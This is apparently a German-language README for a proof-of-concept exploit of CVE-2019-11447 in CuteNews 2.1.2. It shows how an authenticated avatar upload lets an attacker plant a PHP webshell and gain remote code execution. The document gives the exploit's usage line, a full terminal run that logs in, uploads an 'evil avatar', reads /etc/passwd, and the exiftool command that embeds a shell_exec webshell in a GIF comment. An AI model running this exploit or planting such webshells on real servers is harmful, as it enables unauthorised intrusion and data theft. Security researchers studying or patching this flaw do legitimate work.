
CuteNews 2.1.2 - CVE-2019-11447 Proof-of-Concept
CuteNews 2.1.2 - CVE-2019-11447 Proof-of-Concept
POC von CRFSlick, entdeckt von AkkuS <Özkan Mustafa Akkuş>
In CutePHP CuteNews 2.1.2 wurde ein Problem entdeckt. Ein Angreifer kann über den Avatar-Upload-Prozess im Profilbereich mittels des Feldes avatar_file in index.php?mod=main&opt=personal auf den Server eindringen. Es gibt keine effektive Kontrolle von $imgsize in /core/modules/dashboard.php. Der Header-Inhalt einer Datei kann geändert und die Kontrolle zur Codeausführung umgangen werden. (Ein Angreifer kann hierfür den GIF-Header verwenden.)
Usage:
CVE-2019-1144.py <username> <password> <base uri / login page>
Example:
CVE-2019-1144.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ python3 CVE-2019-11447.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
-.-. --- --- .-.. .... ....- -..- --- .-. -... .- -. -. . .-.
[*] Detected version 'CuteNews 2.1.2'
[*] Grabbing session cookie
[*] Logging in as admin:p4ssw0rd
[+] Login Success!
[*] Grabbing __signature_key and __signature_dsi needed for pofile update request
[+] __signature_key: 45ad06a9fc89f75e7ef046a11079c33d-admin
[+] __signature_dsi: 71e41d6500f2dc51d0606f64539f84b1
[*] Uploading evil avatar... Done!
[*] Validating that the file was uploaded... Yup!
[+] http://192.168.1.19/CuteNews/uploads/avatar_admin_5629.php?cmd=<cmd>
[*] Looks like everything went smoothly, lets see if we have RCE!
[*] Keep in mind that this shell is limited, no STDERR
$> whoami
www-data
$> cat /etc/passwd
root:x:0:0:root:/root:/root/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Das böse GIF wurde aus dem Internet geholt und dann mit exiftool modifiziert, um den benötigten PHP-Code einzufügen.
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool -Comment='<?php echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3RhcnRzaGVyZQ==\n\n\n"'"; echo shell_exec($_GET["'"cmd"'"]); echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0ZW5kc2hlcmU=\n\n"'";?>' sad.gif
Exiftool zeigt die Metadaten des Bildes an, in denen sich der eingefügte PHP-Code im Kommentar befindet.
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool sad.gif
ExifTool Version Number : 12.05
File Name : sad.gif
...
Comment : <?php echo "\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3R...
Dieses Projekt ist ausschließlich für Bildungszwecke gedacht und darf nicht für Gesetzesverstöße oder persönlichen Gewinn genutzt werden. Der Autor dieses Projekts übernimmt keine Verantwortung für etwaige Schäden, die durch das Material verursacht werden.